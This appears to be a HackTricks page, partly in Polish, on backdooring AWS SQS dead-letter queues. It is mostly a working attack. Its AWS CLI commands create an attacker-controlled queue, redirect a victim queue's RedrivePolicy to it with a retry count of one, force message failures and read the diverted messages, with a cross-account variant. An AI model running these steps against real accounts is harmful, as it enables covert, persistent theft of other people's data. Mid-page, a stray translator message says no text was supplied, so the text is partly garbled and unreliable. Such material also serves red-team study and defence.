AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Abuse SQS Dead-Letter Queues (DLQs) to stealthily siphon data from a victim source queue by pointing its RedrivePolicy to an attacker-controlled queue. With a low maxReceiveCount and by triggering or awaiting normal processing failures, messages are automatically diverted to the attacker DLQ without changing producers or Lambda event source mappings.

Abused Permissions

  • sqs:SetQueueAttributes on the victim source queue (to set RedrivePolicy)
  • sqs:SetQueueAttributes on the attacker DLQ (to set RedriveAllowPolicy)
  • Optional for acceleration: sqs:ReceiveMessage on the source queue
  • Optional for setup: sqs:CreateQueue, sqs:SendMessage

Same-Account Flow (allowAll)

Preparation (attacker account or compromised principal):

REGION=us-east-1
# 1) Create attacker DLQ
ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

# 2) Allow any same-account source queue to use this DLQ
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'

Wykonanie (uruchom jako przejęty principal w koncie ofiary):

# 3) Point victim source queue to attacker DLQ with low retries
VICTIM_SRC_URL=<victim source queue url>
ATTACKER_DLQ_ARN=<attacker dlq arn>
aws sqs set-queue-attributes \
--queue-url "$VICTIM_SRC_URL" --region $REGION \
--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'

Przyspieszenie (opcjonalne):

# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
for i in {1..2}; do \
aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
--max-number-of-messages 10 --visibility-timeout 0; \
done

Nie przekazano tekstu do przetłumaczenia. Proszę wklej zawartość pliku (z zachowaniem markdown/ścieżek), którą mam przetłumaczyć na polski.

# 5) Confirm messages appear in attacker DLQ
aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--max-number-of-messages 10 --attribute-names All --message-attribute-names All

Przykładowe dowody (Atrybuty obejmują DeadLetterQueueSourceArn):

{
"MessageId": "...",
"Body": "...",
"Attributes": {
"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
}
}

Wariant Cross-Account (byQueue)

Ustaw RedriveAllowPolicy na attacker DLQ, aby zezwolić wyłącznie na konkretne ARNy kolejek źródłowych ofiary:

VICTIM_SRC_ARN=<victim source queue arn>
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'

Wpływ

  • Dyskretna, trwała data exfiltration/persistence poprzez automatyczne przekierowywanie nieudanych wiadomości z źródłowej kolejki SQS ofiary do DLQ kontrolowanego przez atakującego, z minimalnym hałasem operacyjnym i bez zmian po stronie producentów ani mapowań Lambda.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks